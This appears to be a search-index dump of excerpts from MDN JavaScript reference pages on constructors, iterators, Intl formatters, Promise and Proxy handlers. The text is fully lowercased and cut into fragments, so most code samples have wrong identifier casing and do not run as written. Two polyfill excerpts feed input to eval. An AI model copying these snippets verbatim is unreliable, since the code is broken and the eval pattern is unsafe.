...hows how to create a list formatter returning formatted parts const list = ['motorcycle', 'bus', 'car']; console.log(new intl.listformat('en-gb', { style: 'long', type: 'conjunction' }).formattoparts(list)); // [ { "type": "element", "value": "motorcycle" }, // { "type": "literal", "value": ", " }, // { "type": "element", "value": "bus" }, // { "type": "literal", "value": ", and " }, // { "type": "element", "value": "car" } ]; specifications specification intl.listformatthe definition of 'listformat' in that specification.
Intl.Locale() constructor - JavaScript
syntax new intl.locale(tag [, options]) parameters tag the unicode locale identifier string.
... examples basic usage at its very simplest, the intl.locale constructor takes a locale identifier string as its argument: let us = new intl.locale('en-us'); using the locale constructor with an options object the constructor also takes an optional configuration object argument, which can contain any of several extension types.
... for example, set the hourcycle property of the configuration object to your desired hour cycle type, and then pass it into the constructor: let us12hour = new intl.locale("en-us", {hourcycle: "h12"}); console.log(us12hour.hourcycle); // prints "h12" specifications specification ecmascript internationalization api (ecma-402) ...
Intl.Locale - JavaScript
constructor intl.locale() creates a new locale object.
... examples basic usage at its very simplest, the intl.locale constructor takes a locale identifier string as its argument: let us = new intl.locale('en-us'); using the locale constructor with an options object the constructor also takes an optional configuration object argument, which can contain any of several extension types.
... for example, set the hourcycle property of the configuration object to your desired hour cycle type, and then pass it into the constructor: let us12hour = new intl.locale("en-us", {hourcycle: "h12"}); console.log(us12hour.hourcycle); // prints "h12" specifications specification ecmascript internationalization api (ecma-402) ...
Intl.NumberFormat.prototype.format() - JavaScript
examples using format use the format getter function for formatting a single currency value, here for russia: var options = { style: 'currency', currency: 'rub' }; var numberformat = new intl.numberformat('ru-ru', options); console.log(numberformat.format(654321.987)); // → "654 321,99 руб." using format with map use the format getter function for formatting all numbers in an array.
...this is considered a historical artefact, as part of a convention which is no longer followed for new features, but is preserved to maintain compatibility with existing programs.
... var a = [123456.789, 987654.321, 456789.123]; var numberformat = new intl.numberformat('es-es'); var formatted = a.map(n => numberformat.format(n)); console.log(formatted.join('; ')); // → "123.456,789; 987.654,321; 456.789,123" specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.numberformat.prototype.format' in that specification.
Intl.NumberFormat.prototype.resolvedOptions() - JavaScript
the intl.numberformat.prototype.resolvedoptions() method returns a new object with properties reflecting the locale and number formatting options computed during initialization of this numberformat object.
... syntax numberformat.resolvedoptions() return value a new object with properties reflecting the locale and number formatting options computed during the initialization of the given numberformat object.
... examples using the resolvedoptions method var de = new intl.numberformat('de-de'); var usedoptions = de.resolvedoptions(); usedoptions.locale; // "de-de" usedoptions.numberingsystem; // "latn" usedoptions.notation; // "standard" usedoptions.signdisplay; // "auto" usedoption.style; // "decimal" usedoptions.minimumintegerdigits; // 1 usedoptions.minimumfractiondigits; // 0 usedoptions.maxim...
Intl.PluralRules() constructor - JavaScript
syntax new intl.pluralrules([locales[, options]]) parameters locales optional.
... var pr = new intl.pluralrules(); pr.select(0); // → 'other' if in us english locale pr.select(1); // → 'one' if in us english locale pr.select(2); // → 'other' if in us english locale using options the results can be customized using the options argument, which has one property called type which you can set to ordinal.
... var pr = new intl.pluralrules('en-us', { type: 'ordinal' }); pr.select(0); // → 'other' pr.select(1); // → 'one' pr.select(2); // → 'two' pr.select(3); // → 'few' pr.select(4); // → 'other' pr.select(42); // → 'two' specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.pluralrules() constructor' in that specification.
Intl.PluralRules.prototype.resolvedOptions() - JavaScript
the intl.pluralrules.prototype.resolvedoptions() method returns a new object with properties reflecting the locale and plural formatting options computed during initialization of this pluralrules object.
... syntax pluralrule.resolvedoptions() return value a new object with properties reflecting the locale and plural formatting options computed during the initialization of the given pluralrules object.
... examples using the resolvedoptions method var de = new intl.pluralrules('de-de'); var usedoptions = de.resolvedoptions(); usedoptions.locale; // "de-de" usedoptions.maximumfractiondigits; // 3 usedoptions.minimumfractiondigits; // 0 usedoptions.minimumintegerdigits; // 1 usedoptions.pluralcategories; // array [ "one", "other" ] usedoptions.type; // "cardinal" specifications specification ecm...
Intl.PluralRules - JavaScript
constructor intl.pluralrules.pluralrules() creates a new intl.pluralrules object.
... instance methods intl.pluralrules.prototype.resolvedoptions() returns a new object with properties reflecting the locale and collation options computed during initialization of the object.
...in order to get the format of the language used in the user interface of your application, make sure to specify that language (and possibly some fallback languages) using the locales argument: // arabic has different plural rules new intl.pluralrules('ar-eg').select(0); // → 'zero' new intl.pluralrules('ar-eg').select(1); // → 'one' new intl.pluralrules('ar-eg').select(2); // → 'two' new intl.pluralrules('ar-eg').select(6); // → 'few' new intl.pluralrules('ar-eg').select(18); // → 'many' specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.pluralrule...
Intl.RelativeTimeFormat() constructor - JavaScript
syntax new intl.relativetimeformat([locales[, options]]) parameters locales optional.
...const rtf = new intl.relativetimeformat("en", { localematcher: "best fit", // other values: "lookup" numeric: "always", // other values: "auto" style: "long", // other values: "short" or "narrow" }); // format relative time using negative value (-1).
...const rtf = new intl.relativetimeformat("en", { numeric: "auto" }); // format relative time using negative value (-1).
Intl.RelativeTimeFormat.prototype.resolvedOptions() - JavaScript
the intl.relativetimeformat.prototype.resolvedoptions() method returns a new object with properties reflecting the locale and relative time formatting options computed during initialization of this relativetimeformat object.
... syntax relativetimeformat.resolvedoptions() return value a new object with properties reflecting the locale and number formatting options computed during the initialization of the given relativetimeformat object.
... examples using the resolvedoptions method var de = new intl.relativetimeformat('de-de'); var usedoptions = de.resolvedoptions(); usedoptions.locale; // "de-de" usedoptions.style; // "long" usedoptions.numeric; // "always" usedoptions.numberingsystem; // "latn" specifications specification status comment ecmascript internationalization api (ecma-402)the definition of 'relativetimeformat.resolvedop...
JSON.parse() - JavaScript
we are especially concerned with "()" and "new" // because they can cause invocation, and "=" because it can cause mutation.
... j = eval("(" + text + ")"); // in the optional fourth stage, we recursively walk the new structure, passing // each name/value pair to a reviver function for possible transformation.
... throw new syntaxerror("json.parse"); }; } examples using json.parse() json.parse('{}'); // {} json.parse('true'); // true json.parse('"foo"'); // "foo" json.parse('[1, 5, "false"]'); // [1, 5, "false"] json.parse('null'); // null using the reviver parameter if a reviver is specified, the value computed by parsing is transformed before being returned.
JSON.stringify() - JavaScript
examples using json.stringify json.stringify({}); // '{}' json.stringify(true); // 'true' json.stringify('foo'); // '"foo"' json.stringify([1, 'false', false]); // '[1,"false",false]' json.stringify([nan, null, infinity]); // '[null,null,null]' json.stringify({ x: 5 }); // '{"x":5}' json.stringify(new date(2006, 0, 2, 15, 4, 5)) // '"2006-01-02t15:04:05.000z"' json.stringify({ x: 5, y: 6 }); // '{"x":5,"y":6}' json.stringify([new number(3), new string('false'), new boolean(false)]); // '[3,"false",false]' // string-keyed array elements are not enumerable and make no sense in json let a = ['foo', 'bar']; a['baz'] = 'quux'; // a: [ 0: 'foo', 1: 'bar', baz: 'quux' ] json.stringify(a); // '...
...["foo","bar"]' json.stringify({ x: [10, undefined, function(){}, symbol('')] }); // '{"x":[10,null,null,null]}' // standard data structures json.stringify([new set([1]), new map([[1, 2]]), new weakset([{a: 1}]), new weakmap([[{a: 1}, 2]])]); // '[{},{},{},{}]' // typedarray json.stringify([new int8array([1]), new int16array([1]), new int32array([1])]); // '[{"0":1},{"0":1},{"0":1}]' json.stringify([new uint8array([1]), new uint8clampedarray([1]), new uint16array([1]), new uint32array([1])]); // '[{"0":1},{"0":1},{"0":1},{"0":1}]' json.stringify([new float32array([1]), new float64array([1])]); // '[{"0":1},{"0":1}]' // tojson() json.stringify({ x: 5, y: 6, tojson(){ return this.x + this.y; } }); // '11' // symbols: json.stringify({ x: undefined, y: object, z: symbol('') }); // '{}' json.s...
... therefore, if compatibility with older javascript engines is required, it is perilous to directly substitute the string returned by json.stringify into a javascript string to be passed to eval or new function or as part of a jsonp url, and the following utility can be used: function jsfriendlyjsonstringify (s) { return json.stringify(s).
Map() constructor - JavaScript
syntax new map([iterable]) parameters iterable an array or other iterable object whose elements are key-value pairs.
... (for example, arrays with two elements, such as [[ 1, 'one' ],[ 2, 'two' ]].) each key-value pair is added to the new map.
... examples creating a new map let mymap = new map([ [1, 'one'], [2, 'two'], [3, 'three'], ]) specifications specification ecmascript (ecma-262)the definition of 'map constructor' in that specification.
Map.prototype.entries() - JavaScript
the entries() method returns a new iterator object that contains the [key, value] pairs for each element in the map object in insertion order.
... syntax mymap.entries() return value a new map iterator object.
... examples using entries() let mymap = new map() mymap.set('0', 'foo') mymap.set(1, 'bar') mymap.set({}, 'baz') let mapiter = mymap.entries() console.log(mapiter.next().value) // ["0", "foo"] console.log(mapiter.next().value) // [1, "bar"] console.log(mapiter.next().value) // [object, "baz"] specifications specification ecmascript (ecma-262)the definition of 'map.prototype.entries' in that specification.
Map.prototype.keys() - JavaScript
the keys() method returns a new iterator object that contains the keys for each element in the map object in insertion order.
... syntax mymap.keys() return value a new map iterator object.
... examples using keys() var mymap = new map(); mymap.set('0', 'foo'); mymap.set(1, 'bar'); mymap.set({}, 'baz'); var mapiter = mymap.keys(); console.log(mapiter.next().value); // "0" console.log(mapiter.next().value); // 1 console.log(mapiter.next().value); // object specifications specification ecmascript (ecma-262)the definition of 'map.prototype.keys' in that specification.
Map.prototype.values() - JavaScript
the values() method returns a new iterator object that contains the values for each element in the map object in insertion order.
... syntax mymap.values() return value a new map iterator object.
... examples using values() var mymap = new map(); mymap.set('0', 'foo'); mymap.set(1, 'bar'); mymap.set({}, 'baz'); var mapiter = mymap.values(); console.log(mapiter.next().value); // "foo" console.log(mapiter.next().value); // "bar" console.log(mapiter.next().value); // "baz" specifications specification ecmascript (ecma-262)the definition of 'map.prototype.values' in that specification.
Object() constructor - JavaScript
when called in a non-constructor context, object behaves identically to new object().
... syntax new object() new object(value) parameters value any value.
... examples creating a new object let o = new object() o.foo = 42 console.log(o) // object { foo: 42 } using object given undefined and null types the following examples store an empty object object in o: let o = new object() let o = new object(undefined) let o = new object(null) specifications specification ecmascript (ecma-262)the definition of 'object constructor' in that specification.
Object.assign() - JavaScript
therefore it assigns properties, versus copying or defining new properties.
... this may make it unsuitable for merging new properties into a prototype if the merge sources contain getters.
... polyfill doesn't support symbol properties, since es5 doesn't have symbols anyway: if (typeof object.assign !== 'function') { // must be writable: true, enumerable: false, configurable: true object.defineproperty(object, "assign", { value: function assign(target, varargs) { // .length of function is 2 'use strict'; if (target === null || target === undefined) { throw new typeerror('cannot convert undefined or null to object'); } var to = object(target); for (var index = 1; index < arguments.length; index++) { var nextsource = arguments[index]; if (nextsource !== null && nextsource !== undefined) { for (var nextkey in nextsource) { // avoid bugs when hasownproperty is shadowed if (object.protot...
Object.entries() - JavaScript
onstration implementation of object.entries in the tc39/proposal-object-values-entries (if you don't need any support for ie); a polyfill in the es-shims/object.entries repositories; or, you can use the simple, ready-to-deploy polyfill listed below: if (!object.entries) { object.entries = function( obj ){ var ownprops = object.keys( obj ), i = ownprops.length, resarray = new array(i); // preallocate the array while (i--) resarray[i] = [ownprops[i], obj[ownprops[i]]]; return resarray; }; } for the above polyfill code snippet, if you need support for ie<9, then you will also need an object.keys() polyfill (such as the one found on the object.keys page).
...s console.log(object.entries(100)); // [ ] // iterate through key-value gracefully const obj = { a: 5, b: 7, c: 9 }; for (const [key, value] of object.entries(obj)) { console.log(`${key} ${value}`); // "a 5", "b 7", "c 9" } // or, using array extras object.entries(obj).foreach(([key, value]) => { console.log(`${key} ${value}`); // "a 5", "b 7", "c 9" }); converting an object to a map the new map() constructor accepts an iterable of entries.
... with object.entries, you can easily convert from object to map: const obj = { foo: 'bar', baz: 42 }; const map = new map(object.entries(obj)); console.log(map); // map { foo: "bar", baz: 42 } iterating through an object using array destructuring, you can iterate through objects easily.
Object.freeze() - JavaScript
a frozen object can no longer be changed; freezing an object prevents new properties from being added to it, existing properties from being removed, prevents changing the enumerability, configurability, or writability of existing properties, and prevents the values of existing properties from being changed.
... > object.freeze(1) typeerror: 1 is not an object // es5 code > object.freeze(1) 1 // es2015 code an arraybufferview with elements will cause a typeerror, as they are views over memory and will definitely cause other possible issues: > object.freeze(new uint8array(0)) // no elements uint8array [] > object.freeze(new uint8array(1)) // has elements typeerror: cannot freeze array buffer views with elements > object.freeze(new dataview(new arraybuffer(32))) // no elements dataview {} > object.freeze(new float64array(new arraybuffer(64), 63, 0)) // no elements float64array [] > object.freeze(new float64array(new arraybuffer(64), 32, 2)) // has el...
... examples freezing objects var obj = { prop: function() {}, foo: 'bar' }; // before freezing: new properties may be added, // and existing properties may be changed or removed obj.foo = 'baz'; obj.lumpy = 'woof'; delete obj.prop; // freeze.
Object.fromEntries() - JavaScript
return value a new object whose properties are given by the entries of the iterable.
... description the object.fromentries() method takes a list of key-value pairs and returns a new object whose properties are given by those entries.
... examples converting a map to an object with object.fromentries, you can convert from map to object: const map = new map([ ['foo', 'bar'], ['baz', 42] ]); const obj = object.fromentries(map); console.log(obj); // { foo: "bar", baz: 42 } converting an array to an object with object.fromentries, you can convert from array to object: const arr = [ ['0', 'a'], ['1', 'b'], ['2', 'c'] ]; const obj = object.fromentries(arr); console.log(obj); // { 0: "a", 1: "b", 2: "c" } object transformations with object.from...
Object.prototype.hasOwnProperty() - JavaScript
o = new object(); o.propone = null; o.hasownproperty('propone'); // returns true o.proptwo = undefined; o.hasownproperty('proptwo'); // returns true examples using hasownproperty to test for a property's existence the following example determines whether the o object contains a property named prop: o = new object(); o.hasownproperty('prop'); // returns false o.prop = 'exists'; o.hasownproperty...
...inherited properties the following example differentiates between direct properties and properties inherited through the prototype chain: o = new object(); o.prop = 'exists'; o.hasownproperty('prop'); // returns true o.hasownproperty('tostring'); // returns false o.hasownproperty('hasownproperty'); // returns false iterating over the properties of an object the following example shows how to iterate over the properties of an object without executing on inherited properties.
...here be dragons' }; foo.hasownproperty('bar'); // always returns false // use another object's hasownproperty // and call it with 'this' set to foo ({}).hasownproperty.call(foo, 'bar'); // true // it's also possible to use the hasownproperty property // from the object prototype for this purpose object.prototype.hasownproperty.call(foo, 'bar'); // true note that in the last case there are no newly created objects.
Object.isExtensible() - JavaScript
the object.isextensible() method determines if an object is extensible (whether it can have new properties added to it).
... description objects are extensible by default: they can have new properties added to them, and (in engines that support __proto__) their __proto__ property can be modified.
... examples using object.isextensible // new objects are extensible.
Promise.all() - JavaScript
var p1 = promise.resolve(3); var p2 = 1337; var p3 = new promise((resolve, reject) => { settimeout(() => { resolve("foo"); }, 100); }); promise.all([p1, p2, p3]).then(values => { console.log(values); // [3, 1337, "foo"] }); if the iterable contains non-promise values, they will be ignored, but still counted in the returned promise array value (if the promise is fulfilled): // this will be counted as if the iterable passed is empty, so it g...
... var p1 = new promise((resolve, reject) => { settimeout(() => resolve('one'), 1000); }); var p2 = new promise((resolve, reject) => { settimeout(() => resolve('two'), 2000); }); var p3 = new promise((resolve, reject) => { settimeout(() => resolve('three'), 3000); }); var p4 = new promise((resolve, reject) => { settimeout(() => resolve('four'), 4000); }); var p5 = new promise((resolve, reject) => { rej...
...ect(new error('reject')); }); // using .catch: promise.all([p1, p2, p3, p4, p5]) .then(values => { console.log(values); }) .catch(error => { console.error(error.message) }); //from console: //"reject" it is possible to change this behaviour by handling possible rejections: var p1 = new promise((resolve, reject) => { settimeout(() => resolve('p1_delayed_resolution'), 1000); }); var p2 = new promise((resolve, reject) => { reject(new error('p2_immediate_rejection')); }); promise.all([ p1.catch(error => { return error }), p2.catch(error => { return error }), ]).then(values => { console.log(values[0]) // "p1_delayed_resolution" console.error(values[1]) // "error: p2_immediate_rejection" }) specifications specification ecmascript (ecma-262)the definitio...
Promise.prototype.catch() - JavaScript
examples using and chaining the catch method var p1 = new promise(function(resolve, reject) { resolve('success'); }); p1.then(function(value) { console.log(value); // "success!" throw new error('oh, no!'); }).catch(function(e) { console.error(e.message); // "oh, no!" }).then(function(){ console.log('after a catch the chain is restored'); }, function () { console.log('not fired due to the catch'); }); // the following behaves the same as ab...
...p1.then(function(value) { console.log(value); // "success!" return promise.reject('oh, no!'); }).catch(function(e) { console.error(e); // "oh, no!" }).then(function(){ console.log('after a catch the chain is restored'); }, function () { console.log('not fired due to the catch'); }); gotchas when throwing errors // throwing an error will call the catch method most of the time var p1 = new promise(function(resolve, reject) { throw new error('uh-oh!'); }); p1.catch(function(e) { console.error(e); // "uh-oh!" }); // errors thrown inside asynchronous functions will act like uncaught errors var p2 = new promise(function(resolve, reject) { settimeout(function() { throw new error('uncaught exception!'); }, 1000); }); p2.catch(function(e) { console.error(e); // this is ne...
...ver called }); // errors thrown after resolve is called will be silenced var p3 = new promise(function(resolve, reject) { resolve(); throw new error('silenced exception!'); }); p3.catch(function(e) { console.error(e); // this is never called }); if it is resolved //create a promise which would not call onreject var p1 = promise.resolve("calling next"); var p2 = p1.catch(function (reason) { //this is never called console.error("catch p1!"); console.error(reason); }); p2.then(function (value) { console.log("next promise's onfulfilled"); /* next promise's onfulfilled */ console.log(value); /* calling next */ }, function (reason) { console.log("next promise's onrejected"); console.log(reason); }); specifications specification ecmasc...
handler.defineProperty() - JavaScript
syntax const p = new proxy(target, { defineproperty: function(target, property, descriptor) { } }); parameters the following parameters are passed to the defineproperty() method.
... const p = new proxy({}, { defineproperty: function(target, prop, descriptor) { console.log('called: ' + prop); return true; } }); const desc = { configurable: true, enumerable: true, value: 10 }; object.defineproperty(p, 'a', desc); // "called: a" when calling object.defineproperty() or reflect.defineproperty(), the descriptor passed to defineproperty() trap has one restriction—only following ...
...properties are usable (non-standard properties will be ignored): enumerable configurable writable value get set const p = new proxy({}, { defineproperty(target, prop, descriptor) { console.log(descriptor); return reflect.defineproperty(target, prop, descriptor); } }); object.defineproperty(p, 'name', { value: 'proxy', type: 'custom' }); // { value: 'proxy' } specifications specification ecmascript (ecma-262)the definition of '[[defineownproperty]]' in that specification.
handler.get() - JavaScript
syntax const p = new proxy(target, { get: function(target, property, receiver) { } }); parameters the following parameters are passed to the get() method.
... const p = new proxy({}, { get: function(target, property, receiver) { console.log('called: ' + property); return 10; } }); console.log(p.a); // "called: a" // 10 the following code violates an invariant.
... const obj = {}; object.defineproperty(obj, 'a', { configurable: false, enumerable: false, value: 10, writable: false }); const p = new proxy(obj, { get: function(target, property) { return 20; } }); p.a; // typeerror is thrown specifications specification ecmascript (ecma-262)the definition of '[[get]]' in that specification.
handler.getOwnPropertyDescriptor() - JavaScript
syntax const p = new proxy(target, { getownpropertydescriptor: function(target, prop) { } }); parameters the following parameters are passed to the getownpropertydescriptor() method.
... const p = new proxy({ a: 20}, { getownpropertydescriptor: function(target, prop) { console.log('called: ' + prop); return { configurable: true, enumerable: true, value: 10 }; } }); console.log(object.getownpropertydescriptor(p, 'a').value); // "called: a" // 10 the following code violates an invariant.
... const obj = { a: 10 }; object.preventextensions(obj); const p = new proxy(obj, { getownpropertydescriptor: function(target, prop) { return undefined; } }); object.getownpropertydescriptor(p, 'a'); // typeerror is thrown specifications specification ecmascript (ecma-262)the definition of '[[getownproperty]]' in that specification.
handler.getPrototypeOf() - JavaScript
syntax const p = new proxy(obj, { getprototypeof(target) { ...
... examples basic usage const obj = {}; const proto = {}; const handler = { getprototypeof(target) { console.log(target === obj); // true console.log(this === handler); // true return proto; } }; const p = new proxy(obj, handler); console.log(object.getprototypeof(p) === proto); // true five ways to trigger the getprototypeof trap const obj = {}; const p = new proxy(obj, { getprototypeof(target) { return array.prototype; } }); console.log( object.getprototypeof(p) === array.prototype, // true reflect.getprototypeof(p) === array.prototype, // true p.__proto__ === array...
....prototype, // true array.prototype.isprototypeof(p), // true p instanceof array // true ); two kinds of exceptions const obj = {}; const p = new proxy(obj, { getprototypeof(target) { return 'foo'; } }); object.getprototypeof(p); // typeerror: "foo" is not an object or null const obj = object.preventextensions({}); const p = new proxy(obj, { getprototypeof(target) { return {}; } }); object.getprototypeof(p); // typeerror: expected same prototype value specifications specification ecmascript (ecma-262)the definition of '[[getprototypeof]]' in that specification.
handler.has() - JavaScript
syntax const p = new proxy(target, { has: function(target, prop) { } }); parameters the following parameters are passed to has() method.
... const p = new proxy({}, { has: function(target, prop) { console.log('called: ' + prop); return true; } }); console.log('a' in p); // "called: a" // true the following code violates an invariant.
... const obj = { a: 10 }; object.preventextensions(obj); const p = new proxy(obj, { has: function(target, prop) { return false; } }); 'a' in p; // typeerror is thrown specifications specification ecmascript (ecma-262)the definition of '[[hasproperty]]' in that specification.
handler.isExtensible() - JavaScript
syntax const p = new proxy(target, { isextensible: function(target) { } }); parameters the following parameter is passed to the isextensible() method.
... const p = new proxy({}, { isextensible: function(target) { console.log('called'); return true; } }); console.log(object.isextensible(p)); // "called" // true the following code violates the invariant.
... const p = new proxy({}, { isextensible: function(target) { return false; } }); object.isextensible(p); // typeerror is thrown specifications specification ecmascript (ecma-262)the definition of '[[isextensible]]' in that specification.
handler.ownKeys() - JavaScript
syntax const p = new proxy(target, { ownkeys: function(target) { } }); parameters the following parameter is passed to the ownkeys() method.
... const p = new proxy({}, { ownkeys: function(target) { console.log('called'); return ['a', 'b', 'c']; } }); console.log(object.getownpropertynames(p)); // "called" // [ 'a', 'b', 'c' ] the following code violates an invariant.
... const obj = {}; object.defineproperty(obj, 'a', { configurable: false, enumerable: true, value: 10 } ); const p = new proxy(obj, { ownkeys: function(target) { return [123, 12.5, true, false, undefined, null, {}, []]; } }); console.log(object.getownpropertynames(p)); // typeerror: proxy [[ownpropertykeys]] must return an array // with only string and symbol elements specifications specification ecmascript (ecma-262)the definition of '[[ownpropertykeys]]' in that specification.
handler.preventExtensions() - JavaScript
syntax const p = new proxy(target, { preventextensions: function(target) { } }); parameters the following parameter is passed to the preventextensions() method.
... const p = new proxy({}, { preventextensions: function(target) { console.log('called'); object.preventextensions(target); return true; } }); console.log(object.preventextensions(p)); // "called" // false the following code violates the invariant.
... const p = new proxy({}, { preventextensions: function(target) { return true; } }); object.preventextensions(p); // typeerror is thrown specifications specification ecmascript (ecma-262)the definition of '[[preventextensions]]' in that specification.
handler.set() - JavaScript
syntax const p = new proxy(target, { set: function(target, property, value, receiver) { } }); parameters the following parameters are passed to the set() method.
... value the new value of the property to set.
... const p = new proxy({}, { set: function(target, prop, value, receiver) { target[prop] = value; console.log('property set: ' + prop + ' = ' + value); return true; } }) console.log('a' in p); // false p.a = 10; // "property set: a = 10" console.log('a' in p); // true console.log(p.a); // 10 specifications specification ecmascript (ecma-262)the defi...
Reflect.isExtensible() - JavaScript
the static reflect.isextensible() method determines if an object is extensible (whether it can have new properties added to it).
... description the reflect.isextensible method allows you determine if an object is extensible (whether it can have new properties added to it).
... // new objects are extensible.
Set.prototype.entries() - JavaScript
the entries() method returns a new iterator object that contains an array of [value, value] for each element in the set object, in insertion order.
... syntax myset.entries() return value a new iterator object that contains an array of [value, value] for each element in the given set, in insertion order.
... examples using entries() var myset = new set(); myset.add('foobar'); myset.add(1); myset.add('baz'); var setiter = myset.entries(); console.log(setiter.next().value); // ["foobar", "foobar"] console.log(setiter.next().value); // [1, 1] console.log(setiter.next().value); // ["baz", "baz"] specifications specification ecmascript (ecma-262)the definition of 'set.prototype.entries' in that specification.
Set.prototype.values() - JavaScript
the values() method returns a new iterator object that contains the values for each element in the set object in insertion order.
... syntax myset.values(); return value a new iterator object containing the values for each element in the given set, in insertion order.
... examples using values() var myset = new set(); myset.add('foo'); myset.add('bar'); myset.add('baz'); var setiter = myset.values(); console.log(setiter.next().value); // "foo" console.log(setiter.next().value); // "bar" console.log(setiter.next().value); // "baz" specifications specification ecmascript (ecma-262)the definition of 'set.prototype.values' in that specification.
SharedArrayBuffer.prototype.slice() - JavaScript
the sharedarraybuffer.prototype.slice() method returns a new sharedarraybuffer whose contents are a copy of this sharedarraybuffer's bytes from begin, inclusive, up to end, exclusive.
... return value a new sharedarraybuffer containing the extracted elements.
... examples using slice var sab = new sharedarraybuffer(1024); sab.slice(); // sharedarraybuffer { bytelength: 1024 } sab.slice(2); // sharedarraybuffer { bytelength: 1022 } sab.slice(-2); // sharedarraybuffer { bytelength: 2 } sab.slice(0, 1); // sharedarraybuffer { bytelength: 1 } specifications specification ecmascript (ecma-262)the definition of 'sharedarraybuffer.prototype.slice' in that specification.
String() constructor - JavaScript
the string constructor is used to create a new string object.
... syntax new string(thing) string(thing) parameters thing anything to be converted to a string.
... examples string constructor and string function string function and string constructor produce different results: typeof string('hello world'); // string typeof new string('hello world'); // object here, the function produces a string (the primitive type) as promised.
String.prototype.split() - JavaScript
function splitstring(stringtosplit, separator) { const arrayofstrings = stringtosplit.split(separator) console.log('the original string is: ', stringtosplit) console.log('the separator is: ', separator) console.log('the array has ', arrayofstrings.length, ' elements: ', arrayofstrings.join(' / ')) } const tempeststring = 'oh brave new world that has such people in it.' const monthstring = 'jan,feb,mar,apr,may,jun,jul,aug,sep,oct,nov,dec' const space = ' ' const comma = ',' splitstring(tempeststring, space) splitstring(tempeststring) splitstring(monthstring, comma) this example produces the following output: the original string is: "oh brave new world that has such people in it." the separator is: " " the array has 10 elem...
...ents: oh / brave / new / world / that / has / such / people / in / it.
... the original string is: "oh brave new world that has such people in it." the separator is: "undefined" the array has 1 elements: oh brave new world that has such people in it.
Symbol() constructor - JavaScript
the symbol() constructor returns a value of type symbol, but is incomplete as a constructor because it does not support the syntax "new symbol()" and it is not intended to be subclassed.
... examples creating symbols to create a new primitive symbol, you write symbol() with an optional string as its description: let sym1 = symbol() let sym2 = symbol('foo') let sym3 = symbol('foo') the above code creates three new symbols.
...it creates a new symbol each time: symbol('foo') === symbol('foo') // false new symbol(...) the following syntax with the new operator will throw a typeerror: let sym = new symbol() // typeerror this prevents authors from creating an explicit symbol wrapper object instead of a new symbol value and might be surprising as creating explicit wrapper objects around primitive data types is generally possible (for example, new boolean, new string and new number).
TypeError() constructor - JavaScript
the typeerror() constructor creates a new error when an operation could not be performed, typically (but not exclusively) when a value is not of the expected type.
... syntax new typeerror([message[, filename[, linenumber]]]) parameters message optional optional.
...nstanceof typeerror) // true console.log(e.message) // "null has no properties" console.log(e.name) // "typeerror" console.log(e.filename) // "scratchpad/1" console.log(e.linenumber) // 2 console.log(e.columnnumber) // 2 console.log(e.stack) // "@scratchpad/2:2:3\n" } creating a typeerror try { throw new typeerror('hello', "somefile.js", 10) } catch (e) { console.log(e instanceof typeerror) // true console.log(e.message) // "hello" console.log(e.name) // "typeerror" console.log(e.filename) // "somefile.js" console.log(e.linenumber) // 10 console.log(e.columnnumber) // 0 console.log(e.stack) // "@scratch...
TypedArray.prototype.entries() - JavaScript
the entries() method returns a new array iterator object that contains the key/value pairs for each index in the array.
... syntax arr.entries() return value a new array iterator object.
... examples iteration using for...of loop var arr = new uint8array([10, 20, 30, 40, 50]); var earray = arr.entries(); // your browser must support for..of loop // and let-scoped variables in for loops for (let n of earray) { console.log(n); } alternative iteration var arr = new uint8array([10, 20, 30, 40, 50]); var earr = arr.entries(); console.log(earr.next().value); // [0, 10] console.log(earr.next().value); // [1, 20] console.log(earr.next().value); // [2, 30] console.log(earr.next().value); // [3, 40] console.log(earr.next().value); // [4, 50] specifications specification ecmascript (ecma-262)the definition of '%typedarray%.prototype.entries()' in that specification.
TypedArray.prototype.findIndex() - JavaScript
polyfill typedarray.prototype.findindex = array.prototype.findindex = array.prototype.findindex || function(evaluator, thisarg) { 'use strict'; if (!this) { throw new typeerror('array.prototype.some called on null or undefined'); } if (typeof(evaluator) !== 'function') { if (typeof(evaluator) === 'string') { // attempt to convert it to a function if ( !
... (evaluator = eval(evaluator)) ){ throw new typeerror(); } } else { throw new typeerror(); } } var i; if (thisarg === undefined) { // optimize for thisarg for (i in this) { if (evaluator(this[i], i, this)) { return i; } } return -1; } for (i in this) { if (evaluator.call(thisarg, this[i], i, this)) { return i; } } return -1; }; examples find the index of a prime number in a typed array the following example finds the index of an element in the typed array that is a prime number (or returns -1 if there is no prime number).
... function isprime(element, index, array) { var start = 2; while (start <= math.sqrt(element)) { if (element % start++ < 1) { return false; } } return element > 1; } var uint8 = new uint8array([4, 6, 8, 12]); var uint16 = new uint16array([4, 6, 7, 12]); console.log(uint8.findindex(isprime)); // -1, not found console.log(uint16.findindex(isprime)); // 2 specifications specification ecmascript (ecma-262)the definition of '%typedarray%.prototype.findindex' in that specification.
TypedArray.prototype.keys() - JavaScript
the keys() method returns a new array iterator object that contains the keys for each index in the array.
... syntax arr.keys() return value a new array iterator object.
... examples iteration using for...of loop var arr = new uint8array([10, 20, 30, 40, 50]); var earray = arr.keys(); // your browser must support for..of loop // and let-scoped variables in for loops for (let n of earray) { console.log(n); } alternative iteration var arr = new uint8array([10, 20, 30, 40, 50]); var earr = arr.keys(); console.log(earr.next().value); // 0 console.log(earr.next().value); // 1 console.log(earr.next().value); // 2 console.log(earr.next().value); // 3 console.log(earr.next().value); // 4 specifications specification ecmascript (ecma-262)the definition of '%typedarray%.prototype.keys()' in that specification.
TypedArray.prototype.values() - JavaScript
the values() method returns a new array iterator object that contains the values for each index in the array.
... syntax arr.values() return value a new array iterator object.
... examples iteration using for...of loop var arr = new uint8array([10, 20, 30, 40, 50]); var earray = arr.values(); // your browser must support for..of loop // and let-scoped variables in for loops for (let n of earray) { console.log(n); } alternative iteration var arr = new uint8array([10, 20, 30, 40, 50]); var earr = arr.values(); console.log(earr.next().value); // 10 console.log(earr.next().value); // 20 console.log(earr.next().value); // 30 console.log(earr.next().value); // 40 console.log(earr.next().value); // 50 specifications specification ecmascript (ecma-262)the definition of '%typedarray%.prototype.values()' in that specification.
WeakMap() constructor - JavaScript
syntax new weakmap([iterable]) parameters iterable iterable is an array or other iterable object whose elements are key-value pairs (2-element arrays).
... each key-value pair will be added to the new weakmap.
